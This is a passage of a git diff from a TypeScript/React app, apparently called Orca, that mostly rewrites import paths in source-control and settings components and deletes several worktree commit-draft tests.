'../../../../../../shared/ui-chrome-types' +import type { SourceControlViewMode } from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { HostedReviewInfo } from '../../../../../../shared/source-control/hosted-review/hosted-review-contracts' import type { PrimaryAction } from '../review/source-control-primary-action-types' import { Button } from '@/components/ui/button' diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/source-control-action-dialog.test-fixture.tsx b/src/renderer/src/components/right-sidebar/source-control/panel/source-control-action-dialog.test-fixture.tsx index 691bfc88e9e..4fbf071f8c9 100644 --- a/src/renderer/src/components/right-sidebar/source-control/panel/source-control-action-dialog.test-fixture.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/panel/source-control-action-dialog.test-fixture.tsx @@ -12,7 +12,7 @@ import type { Repo } from '../../../../../../shared/repository/repo-types' import { normalizeRepoSourceControlAiOverrides } from '../../../../../../shared/source-control/ai/settings/source-control-ai-repo-settings' import { saveSourceControlAiActionRecipeForTarget } from '../ai/recipe-persistence' import { TEST_REPO } from '@/store/repos/repo.test-fixture' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { useAppStore } from '@/store/index' import { setLocalRuntimeCapabilitiesForTests } from '@/runtime/hosts/capabilities/local-runtime-capabilities' import { AGENT_LAUNCH_SURFACE_RUNTIME_CAPABILITY as SURFACE } from '../../../../../../shared/agent-launch/contracts/agent-launch-runtime-capability' diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/worktree-operation-state.test.tsx b/src/renderer/src/components/right-sidebar/source-control/panel/worktree-operation-state.test.tsx index db4e18d0590..cb2f9e3e025 100644 --- a/src/renderer/src/components/right-sidebar/source-control/panel/worktree-operation-state.test.tsx +++ b/src/renderer/src/components/right-sidebar/source-control/panel/worktree-operation-state.test.tsx @@ -1,15 +1,15 @@ // @vitest-environment happy-dom -import { hostWorktreeTarget } from '../../../../../../shared/worktree/host-qualified-identity' +import '../../../../../../shared/worktree/host-qualified-identity' import { act, cleanup, renderHook } from '@testing-library/react' import type { ReactNode } from 'react' import { afterEach, expect, it, vi } from 'vitest' import { useAppStore } from '@/store/index' import { makeRepo, makeWorktree } from '../../../worktree-jump/worktree-jump-palette-test-fixtures' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { useSourceControlCommitAction } from '../commit/use-commit-action' import { useSourceControlWorktreeOperationState } from './use-worktree-operation-state' -import { getWorktreeOperationStore, writeWorktreeCommitDraft } from './worktree-operation-store' +import './worktree-operation-store' import { SourceControlScopeProvider } from './worktree-scope' const git = vi.hoisted(() => ({ @@ -95,112 +95,3 @@ it('keeps drafts of same-id worktrees on different hosts apart and across remoun expect(remounted.result.current.commitMessage).toBe('fix: local copy') expect(remote.result.current.commitMessage).toBe('fix: remote copy') }) - -it('keeps a slow commit latched after collapse so the re-expanded section cannot resubmit', async () => { - let finishCommit: (result: { success: boolean }) => void = () => {} - git.commit.mockImplementation( - () => - new Promise((resolve) => { - finishCommit = resolve - }) - ) - let active = true - const wrapper = sectionWrapper('wt-slow', 'local', () => active) - const first = renderHook(() => useCommitSection('wt-slow'), { wrapper }) - act(() => first.result.current.updateCommitDraft('feat: slow')) - let pending: Promise | undefined - act(() => { - pending = first.result.current.handleCommit() - }) - active = false - first.rerender() - const reexpanded = first - expect(reexpanded.result.current.isCommitting).toBe(true) - await act(async () => { - expect(await reexpanded.result.current.handleCommit()).toBe(false) - }) - expect(git.commit).toHaveBeenCalledTimes(1) - - await act(async () => { - finishCommit({ success: true }) - expect(await pending).toBe(true) - }) - expect(reexpanded.result.current.operationStore.getState().isCommitting).toBe(false) - expect(reexpanded.result.current.isCommitting).toBe(true) - expect(reexpanded.result.current.commitMessage).toBe('feat: slow') - active = true - first.rerender() - expect(reexpanded.result.current.isCommitting).toBe(false) - expect(reexpanded.result.current.commitMessage).toBe('') -}) - -it('commits a same-id host twin over its own connection without blocking the other copy', async () => { - git.commit.mockImplementation(() => new Promise(() => {})) - const local = renderHook(() => useCommitSection('wt-twin'), { - wrapper: sectionWrapper('wt-twin', 'local') - }) - const remote = renderHook(() => useCommitSection('wt-twin'), { - wrapper: sectionWrapper('wt-twin', 'ssh:box') - }) - act(() => remote.result.current.updateCommitDraft('fix: remote')) - act(() => { - void remote.result.current.handleCommit() - }) - - expect(git.commit).toHaveBeenCalledWith( - expect.objectContaining({ worktreeId: 'wt-twin', connectionId: 'box' }), - 'fix: remote' - ) - expect(remote.result.current.isCommitting).toBe(true) - expect(local.result.current.isCommitting).toBe(false) -}) - -it('gives a worktree id reused by a new instance a fresh record', () => { - const original = getWorktreeOperationStore('wt-reused', 'local', 'instance-1') - original.setState({ draft: 'stale', isCommitting: true }) - act(() => { - useAppStore.setState({ - worktreesByRepo: { - 'repo-1': [makeWorktree('wt-reused', 'wt-reused', { instanceId: 'instance-2' })] - } - }) - }) - - const reused = getWorktreeOperationStore('wt-reused', 'local', 'instance-2') - expect(reused).not.toBe(original) - expect(reused.getState().draft).toBe('') - expect(reused.getState().isCommitting).toBe(false) -}) - -it('keeps a live draft when a non-authoritative catalog scan briefly drops the row', () => { - const row = makeWorktree('wt-blip', 'wt-blip', { instanceId: 'instance-1' }) - act(() => useAppStore.setState({ worktreesByRepo: { 'repo-1': [row] } })) - const store = getWorktreeOperationStore('wt-blip', 'local', 'instance-1') - writeWorktreeCommitDraft(store, 'feat: keep me') - act(() => useAppStore.setState({ worktreesByRepo: { 'repo-1': [] } })) - act(() => useAppStore.setState({ worktreesByRepo: { 'repo-1': [row] } })) - - const after = getWorktreeOperationStore('wt-blip', 'local', 'instance-1') - expect(after).toBe(store) - expect(after.getState().draft).toBe('feat: keep me') -}) - -it('retires only the removed host owner on authoritative purge and fences late draft writes', () => { - const local = getWorktreeOperationStore('wt-removed', 'local', 'instance-1') - const remote = getWorktreeOperationStore('wt-removed', 'ssh:box', 'instance-1') - writeWorktreeCommitDraft(local, 'local draft') - writeWorktreeCommitDraft(remote, 'remote draft') - useAppStore - .getState() - .purgeWorktreeTerminalState([hostWorktreeTarget({ id: 'wt-removed', hostId: 'ssh:box' })]) - writeWorktreeCommitDraft(remote, 'late remote draft') - const replacement = getWorktreeOperationStore('wt-removed', 'ssh:box', 'instance-1') - expect(replacement).not.toBe(remote) - expect(replacement.getState().draft).toBe('') - expect(getWorktreeOperationStore('wt-removed', 'local', 'instance-1')).toBe(local) - expect(local.getState().draft).toBe('local draft') - useAppStore - .getState() - .purgeWorktreeTerminalState([hostWorktreeTarget({ id: 'wt-removed', hostId: 'local' })]) - expect(getWorktreeOperationStore('wt-removed', 'local', 'instance-1').getState().draft).toBe('') -}) diff --git a/src/renderer/src/components/right-sidebar/source-control/panel/worktree-operation-store.ts b/src/renderer/src/components/right-sidebar/source-control/panel/worktree-operation-store.ts index 09f8e7a33a0..8c697dfc1cd 100644 --- a/src/renderer/src/components/right-sidebar/source-control/panel/worktree-operation-store.ts +++ b/src/renderer/src/components/right-sidebar/source-control/panel/worktree-operation-store.ts @@ -12,7 +12,7 @@ import { import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import type { GitConflictOperation } from '../../../../../../shared/git/status/git-status-types' import type { SourceControlActionError } from '../sync/action-error' import type { CreatePrIntentNotice } from '../commit/commit-area-types' diff --git a/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-review.ts b/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-review.ts index 112e635951d..16331772af4 100644 --- a/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-review.ts +++ b/src/renderer/src/components/right-sidebar/source-control/review/use-create-pr-intent-review.ts @@ -1,5 +1,5 @@ import { resolveSourceControlAiPrCreationDefaults } from '../../../../../../shared/source-control/ai/source-control-ai-operation-policy' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorkspaceJiraIssueKey, prefixJiraReviewTitle diff --git a/src/renderer/src/components/right-sidebar/source-control/review/use-pull-request-generation.ts b/src/renderer/src/components/right-sidebar/source-control/review/use-pull-request-generation.ts index 4681fae7463..10e63a99fab 100644 --- a/src/renderer/src/components/right-sidebar/source-control/review/use-pull-request-generation.ts +++ b/src/renderer/src/components/right-sidebar/source-control/review/use-pull-request-generation.ts @@ -4,7 +4,7 @@ import { sourceControlConnectionId, useSourceControlScope } from '../panel/worktree-scope' -import { getRepoExecutionHostId } from '../../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import { getWorkspaceJiraIssueKey } from '../../../../../../shared/jira/jira-review-title' import { useCallback } from 'react' import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy' diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/git-status-file-watch-refresh.ts b/src/renderer/src/components/right-sidebar/source-control/sync/git-status-file-watch-refresh.ts index 3a8aebdfb6c..eec5a749181 100644 --- a/src/renderer/src/components/right-sidebar/source-control/sync/git-status-file-watch-refresh.ts +++ b/src/renderer/src/components/right-sidebar/source-control/sync/git-status-file-watch-refresh.ts @@ -11,7 +11,7 @@ import type { FsChangedPayload } from '../../../../../../shared/file-watch/files import type { ActiveRightSidebarTab, RightSidebarExplorerView -} from '../../../../../../shared/ui-chrome-types' +} from '../../../../../../shared/ui-chrome/ui-chrome-types' import type { OpenFile } from '@/store/slices/editor/types/open-file' import { ORCA_WORKTREE_FILE_CHANGE_EVENT, diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh.ts b/src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh.ts index 5b6eeaed85c..9cd6cc26481 100644 --- a/src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh.ts +++ b/src/renderer/src/components/right-sidebar/source-control/sync/git-status-refresh.ts @@ -12,7 +12,7 @@ import type { GitUpstreamStatus } from '../../../../../../shared/git/status/git-status-types' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { GitPushTarget } from '../../../../../../shared/worktree/types' import { beginAutomaticUpstreamRefresh, diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/use-base-ref-default.ts b/src/renderer/src/components/right-sidebar/source-control/sync/use-base-ref-default.ts index ab0776f2ae7..99230b3c786 100644 --- a/src/renderer/src/components/right-sidebar/source-control/sync/use-base-ref-default.ts +++ b/src/renderer/src/components/right-sidebar/source-control/sync/use-base-ref-default.ts @@ -1,6 +1,6 @@ import { useEffect, useState } from 'react' import { watchRuntimeRepoBaseRefDefault } from '@/runtime/source-control/references/runtime-repo-client' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function useSourceControlBaseRefDefault({ activeRepoConnectionId, diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-turn-completion.ts b/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-turn-completion.ts index 2a0f23b624d..867149d0db8 100644 --- a/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-turn-completion.ts +++ b/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-turn-completion.ts @@ -13,7 +13,7 @@ import { getConnectionExecutionHostId, toRuntimeExecutionHostId, toSshExecutionHostId -} from '../../../../../../shared/execution-host' +} from '../../../../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../../../../shared/workspace-layout/stable-pane-id' import { parseAppSshPtyId } from '../../../../../../shared/remote-runtime/ssh/ssh-pty-id' import type { AgentStatusChange } from '@/store/slices/agent-status/agent-status-contract' diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-upstream-ref-watch.ts b/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-upstream-ref-watch.ts index 9d1c19b00e3..92a1bacea2a 100644 --- a/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-upstream-ref-watch.ts +++ b/src/renderer/src/components/right-sidebar/source-control/sync/use-git-status-upstream-ref-watch.ts @@ -1,7 +1,7 @@ import { useCallback, useEffect } from 'react' import { resolveWorktreeGitCopyNow } from '@/lib/workspace/ownership/worktree-git-copy' import { setRuntimeGitStatusUpstreamRefWatch } from '@/runtime/source-control/git/runtime-git-status-client' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' import type { GitStatusResult } from '../../../../../../shared/git/status/git-status-types' import { runtimeTargetForOwnerEnvironment } from '@/runtime/rpc/targets/runtime-client-target' diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/use-refresh-on-host-contact.ts b/src/renderer/src/components/right-sidebar/source-control/sync/use-refresh-on-host-contact.ts index 01a4bb2957c..8e0585926f7 100644 --- a/src/renderer/src/components/right-sidebar/source-control/sync/use-refresh-on-host-contact.ts +++ b/src/renderer/src/components/right-sidebar/source-control/sync/use-refresh-on-host-contact.ts @@ -1,7 +1,7 @@ import { useEffect } from 'react' import { isWindowVisible } from '@/lib/window-activity/window-visibility-interval' import { subscribeRuntimeHostContactRegained } from '@/runtime/hosts/connections/runtime-host-contact-regained' -import { parseExecutionHostId } from '../../../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../../../shared/execution-host/execution-host' /** A status read before the runtime host answered (a relaunch) came back empty; read again once it does. */ export function useRefreshOnHostContact( diff --git a/src/renderer/src/components/right-sidebar/source-control/sync/worktree-git-owner-target.ts b/src/renderer/src/components/right-sidebar/source-control/sync/worktree-git-owner-target.ts index f0455ea54cf..f45bba68b78 100644 --- a/src/renderer/src/components/right-sidebar/source-control/sync/worktree-git-owner-target.ts +++ b/src/renderer/src/components/right-sidebar/source-control/sync/worktree-git-owner-target.ts @@ -9,7 +9,7 @@ import { useAppStore } from '@/store/index' import type { AppState } from '@/store/types' import { UNRESOLVED_GIT_HOST_ERROR } from '@/store/slices/editor/git/git-operation-target' import type { AttachedWorktreeOwner } from '../../folder-workspaces/folder-workspace-attached-worktrees' -import type { ExecutionHostId } from '../../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../../shared/execution-host/execution-host' export function sourceControlFileWatchRuntimeEnvironmentId( state: AppState, diff --git a/src/renderer/src/components/session-search/use-session-search-status.ts b/src/renderer/src/components/session-search/use-session-search-status.ts index 2f602a05870..6b47dfebc8e 100644 --- a/src/renderer/src/components/session-search/use-session-search-status.ts +++ b/src/renderer/src/components/session-search/use-session-search-status.ts @@ -1,6 +1,6 @@ import { useCallback, useEffect, useState } from 'react' import type { AiVaultSearchStatus } from '../../../../shared/ai-vault/search/ai-vault-search-types' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { useWindowStreamVisible } from '@/hooks/use-window-stream-visibility' import { installWindowVisibilityInterval } from '@/lib/window-activity/window-visibility-interval' import { isHostTooOldError, sessionSearchPollIntervalMs } from './session-search-status' diff --git a/src/renderer/src/components/settings/__fixtures__/settings-persistence-test-fixture.ts b/src/renderer/src/components/settings/__fixtures__/settings-persistence-test-fixture.ts index 39c0a6d6099..ed97773b763 100644 --- a/src/renderer/src/components/settings/__fixtures__/settings-persistence-test-fixture.ts +++ b/src/renderer/src/components/settings/__fixtures__/settings-persistence-test-fixture.ts @@ -1,8 +1,8 @@ import { EVERY_AGENT_CHAT } from '../../../../../shared/native-chat/every-agent-chat.test-fixture' import { cleanup } from '@testing-library/react' import { afterEach, beforeEach, expect, vi, type Mock } from 'vitest' -import { getDefaultSettings } from '../../../../../shared/constants' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useAppStore } from '../../../store' import type { SettingsStoreModel } from '../page/use-settings-store-model' import type { SettingsInteractionModel } from '../page/use-settings-interaction-controller' diff --git a/src/renderer/src/components/settings/accounts/accounts-pane-account-actions.ts b/src/renderer/src/components/settings/accounts/accounts-pane-account-actions.ts index f57aa7b696f..e7dc727b5c8 100644 --- a/src/renderer/src/components/settings/accounts/accounts-pane-account-actions.ts +++ b/src/renderer/src/components/settings/accounts/accounts-pane-account-actions.ts @@ -1,5 +1,5 @@ import type { Dispatch, SetStateAction } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import type { FeatureInteractionId } from '../../../../../shared/feature-education/interactions/feature-interaction-catalog' import type { diff --git a/src/renderer/src/components/settings/accounts/accounts-pane-types.ts b/src/renderer/src/components/settings/accounts/accounts-pane-types.ts index 2ad779bd788..8ca3b5baae2 100644 --- a/src/renderer/src/components/settings/accounts/accounts-pane-types.ts +++ b/src/renderer/src/components/settings/accounts/accounts-pane-types.ts @@ -1,6 +1,6 @@ import type { ObservedAccountPlans } from '@/lib/provider-accounts/observed-account-plans' import type { Dispatch, ReactNode, SetStateAction } from 'react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { ClaudeRateLimitAccountsState, CodexRateLimitAccountsState diff --git a/src/renderer/src/components/settings/accounts/claude/claude-oauth-usage-setting.fixture.tsx b/src/renderer/src/components/settings/accounts/claude/claude-oauth-usage-setting.fixture.tsx index f01471848ca..a61b82285ce 100644 --- a/src/renderer/src/components/settings/accounts/claude/claude-oauth-usage-setting.fixture.tsx +++ b/src/renderer/src/components/settings/accounts/claude/claude-oauth-usage-setting.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../../shared/orca-profiles/constants' import { useAppStore } from '../../../../store' import { SettingsGroup } from '../../section-layout/SettingsGroup' import { ClaudeOAuthUsageSetting } from './claude-oauth-usage-setting' diff --git a/src/renderer/src/components/settings/accounts/claude/claude-running-session-switch-setting.tsx b/src/renderer/src/components/settings/accounts/claude/claude-running-session-switch-setting.tsx index e44b1373552..abf95b93ace 100644 --- a/src/renderer/src/components/settings/accounts/claude/claude-running-session-switch-setting.tsx +++ b/src/renderer/src/components/settings/accounts/claude/claude-running-session-switch-setting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { ClaudeAccountSwitchRunningSessions } from '../../../../../../shared/agent-accounts/claude/claude-account-switch-settings' import { useTranslate } from '@/i18n/use-translate' import { Label } from '../../../ui/label' diff --git a/src/renderer/src/components/settings/accounts/scope/accounts-pane-location-section.tsx b/src/renderer/src/components/settings/accounts/scope/accounts-pane-location-section.tsx index d6524ce7766..f8c660eea27 100644 --- a/src/renderer/src/components/settings/accounts/scope/accounts-pane-location-section.tsx +++ b/src/renderer/src/components/settings/accounts/scope/accounts-pane-location-section.tsx @@ -6,7 +6,7 @@ import { SettingsRow, SettingsSegmentedControl } from '../../form-controls/Setti import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../../../ui/select' import { getHostRuntimeLabel } from '../../../../lib/provider-accounts/account-runtime-label' import { WSL_DEFAULT_DISTRO_KEY } from '../../../provider-accounts/provider-account-visibility' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { AccountsPaneSectionModel } from '../accounts-pane-types' import { SettingsGroup } from '../../section-layout/SettingsGroup' diff --git a/src/renderer/src/components/settings/accounts/scope/accounts-pane-runtime.ts b/src/renderer/src/components/settings/accounts/scope/accounts-pane-runtime.ts index add07cfe4ac..f5488641d11 100644 --- a/src/renderer/src/components/settings/accounts/scope/accounts-pane-runtime.ts +++ b/src/renderer/src/components/settings/accounts/scope/accounts-pane-runtime.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { ClaudeRateLimitAccountsState, CodexRateLimitAccountsState, diff --git a/src/renderer/src/components/settings/accounts/usage/use-usage-host-settings.ts b/src/renderer/src/components/settings/accounts/usage/use-usage-host-settings.ts index c060f7e6530..58802adcb2a 100644 --- a/src/renderer/src/components/settings/accounts/usage/use-usage-host-settings.ts +++ b/src/renderer/src/components/settings/accounts/usage/use-usage-host-settings.ts @@ -2,7 +2,7 @@ import { useEffect, useState } from 'react' import { toast } from 'sonner' import { useTranslate } from '@/i18n/use-translate' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' /** The usage settings the host's own poller reads beside its saved MiniMax/GLM keys. */ diff --git a/src/renderer/src/components/settings/advanced/AdvancedPane.tsx b/src/renderer/src/components/settings/advanced/AdvancedPane.tsx index b22d96b0e43..acf3b0f8823 100644 --- a/src/renderer/src/components/settings/advanced/AdvancedPane.tsx +++ b/src/renderer/src/components/settings/advanced/AdvancedPane.tsx @@ -1,6 +1,6 @@ import { useRef, useState } from 'react' import { Info, Loader2, RotateCw } from 'lucide-react' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { useMountedRef } from '@/hooks/useMountedRef' import { Button } from '../../ui/button' import { Label } from '../../ui/label' diff --git a/src/renderer/src/components/settings/advanced/ExperimentalPane.fixture.tsx b/src/renderer/src/components/settings/advanced/ExperimentalPane.fixture.tsx index 7e20ed5c3f4..a1a894f290f 100644 --- a/src/renderer/src/components/settings/advanced/ExperimentalPane.fixture.tsx +++ b/src/renderer/src/components/settings/advanced/ExperimentalPane.fixture.tsx @@ -1,5 +1,5 @@ import { defineFixture } from '../../../component-fixtures/component-fixture' -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { ExperimentalPane } from './ExperimentalPane' const settings = { diff --git a/src/renderer/src/components/settings/advanced/ExperimentalPane.tsx b/src/renderer/src/components/settings/advanced/ExperimentalPane.tsx index 2f41f8ec26c..58b901ba7ba 100644 --- a/src/renderer/src/components/settings/advanced/ExperimentalPane.tsx +++ b/src/renderer/src/components/settings/advanced/ExperimentalPane.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { Label } from '../../ui/label' import { Switch } from '../../ui/switch' import { useAppStore } from '../../../store/index' diff --git a/src/renderer/src/components/settings/advanced/network/AdvancedNetworkSettingsSection.tsx b/src/renderer/src/components/settings/advanced/network/AdvancedNetworkSettingsSection.tsx index e60f114b0e6..d95cf843b05 100644 --- a/src/renderer/src/components/settings/advanced/network/AdvancedNetworkSettingsSection.tsx +++ b/src/renderer/src/components/settings/advanced/network/AdvancedNetworkSettingsSection.tsx @@ -1,7 +1,7 @@ import type React from 'react' import { useState } from 'react' import { ChevronDown } from 'lucide-react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { normalizeProxyBypassRules, normalizeProxyUrl, diff --git a/src/renderer/src/components/settings/agents/AgentWorkspaceTrustSetting.fixture.tsx b/src/renderer/src/components/settings/agents/AgentWorkspaceTrustSetting.fixture.tsx index 23bd8b64870..5abb04aaf39 100644 --- a/src/renderer/src/components/settings/agents/AgentWorkspaceTrustSetting.fixture.tsx +++ b/src/renderer/src/components/settings/agents/AgentWorkspaceTrustSetting.fixture.tsx @@ -1,4 +1,4 @@ -import { getDefaultSettings } from '../../../../../shared/constants' +import { getDefaultSettings } from '../../../../../shared/orca-profiles/constants' import { defineFixture } from '../../../component-fixtures/component-fixture' import { AgentWorkspaceTrustSetting } from './behavior/AgentWorkspaceTrustSetting' diff --git a/src/renderer/src/components/settings/agents/AgentsPane.tsx b/src/renderer/src/components/settings/agents/AgentsPane.tsx index 2e7c891e548..ca363a56a14 100644 --- a/src/renderer/src/components/settings/agents/AgentsPane.tsx +++ b/src/renderer/src/components/settings/agents/AgentsPane.tsx @@ -3,7 +3,7 @@ import { getClaudeSubagentNavigationTitle, getClaudeSubagentNavigationDescription } from './behavior/claude-subagent-navigation-copy' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { translateLocalExecutionHostLabel } from '../../sidebar/execution-host-label' import { AgentAwakeSetting } from './behavior/AgentAwakeSetting' import { AgentCacheTimerSection } from './behavior/AgentCacheTimerSection' diff --git a/src/renderer/src/components/settings/agents/behavior/AgentAwakeSetting.tsx b/src/renderer/src/components/settings/agents/behavior/AgentAwakeSetting.tsx index c6238b7fc2b..26a57859d5b 100644 --- a/src/renderer/src/components/settings/agents/behavior/AgentAwakeSetting.tsx +++ b/src/renderer/src/components/settings/agents/behavior/AgentAwakeSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { Label } from '../../../ui/label' import { getAgentAwakeDescription, diff --git a/src/renderer/src/components/settings/agents/behavior/AgentCacheTimerSection.tsx b/src/renderer/src/components/settings/agents/behavior/AgentCacheTimerSection.tsx index 6927d0a93e3..070ff1db189 100644 --- a/src/renderer/src/components/settings/agents/behavior/AgentCacheTimerSection.tsx +++ b/src/renderer/src/components/settings/agents/behavior/AgentCacheTimerSection.tsx @@ -1,6 +1,6 @@ import type React from 'react' import { Timer } from 'lucide-react' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { useAppStore } from '../../../../store/index' import { Label } from '../../../ui/label' import { Select, SelectContent, SelectItem, SelectTrigger, SelectValue } from '../../../ui/select' diff --git a/src/renderer/src/components/settings/agents/behavior/AgentWorkspaceTrustSetting.tsx b/src/renderer/src/components/settings/agents/behavior/AgentWorkspaceTrustSetting.tsx index b0cb3692c2f..cd8c6195c5b 100644 --- a/src/renderer/src/components/settings/agents/behavior/AgentWorkspaceTrustSetting.tsx +++ b/src/renderer/src/components/settings/agents/behavior/AgentWorkspaceTrustSetting.tsx @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { useTranslate } from '../../../../i18n/use-translate' import { SettingsSwitchRow } from '../../form-controls/SettingsFormControls' import { diff --git a/src/renderer/src/components/settings/agents/behavior/CodexHistorySharingSetting.tsx b/src/renderer/src/components/settings/agents/behavior/CodexHistorySharingSetting.tsx index e809bb19ee6..8cffc176096 100644 --- a/src/renderer/src/components/settings/agents/behavior/CodexHistorySharingSetting.tsx +++ b/src/renderer/src/components/settings/agents/behavior/CodexHistorySharingSetting.tsx @@ -1,7 +1,7 @@ import { useAppStateValue } from '@/store/retained-views/app-state-view' import { runtimeTargetEnvironmentId } from '@/runtime/rpc/targets/runtime-client-target' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' -import { getLocalExecutionHostLabel } from '../../../../../../shared/execution-host' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' +import { getLocalExecutionHostLabel } from '../../../../../../shared/execution-host/execution-host' import type { SettingsHostScope } from '../../host-scope/settings-host-scope' import { SettingsSwitchRow } from '../../form-controls/SettingsFormControls' import { diff --git a/src/renderer/src/components/settings/agents/behavior/use-codex-history-sharing-host-setting.ts b/src/renderer/src/components/settings/agents/behavior/use-codex-history-sharing-host-setting.ts index 0fa1ce97977..77651ecaa29 100644 --- a/src/renderer/src/components/settings/agents/behavior/use-codex-history-sharing-host-setting.ts +++ b/src/renderer/src/components/settings/agents/behavior/use-codex-history-sharing-host-setting.ts @@ -1,7 +1,7 @@ import { useEffect, useState } from 'react' import { toast } from 'sonner' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import type { RuntimeClientTarget } from '../../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { getCodexHistorySharingUpdateFailed } from './codex-history-sharing-copy' diff --git a/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsCatalog.tsx b/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsCatalog.tsx index d03fcd068aa..4f52a683cdb 100644 --- a/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsCatalog.tsx +++ b/src/renderer/src/components/settings/agents/launch/AgentLaunchSettingsCatalog.tsx @@ -10,7 +10,7 @@ import type { AgentLaunchSettings, AgentLaunchSettingsMutation } from '../../../../../../shared/agent-launch/choices/agent-launch-settings' -import type { GlobalSettings } from '../../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../../shared/settings/global-settings-types' import { AUTO_TUI_AGENT_ARGS } from '../../../../../../shared/agent-launch/permissions/tui-agent-permissions' import type { TuiAgent } from '../../../../../../shared/agent-launch/catalog/tui-agent' import { @@ -64,7 +64,7 @@ import { managedRuntimeChatAgents, useHostStructuredAgentsVersion } from '@/runtime/native-chat/agent-catalogs/chat-provider-agents' -import { LOCAL_EXECUTION_HOST_ID } from '../../../../../../shared/execution-host' +import { 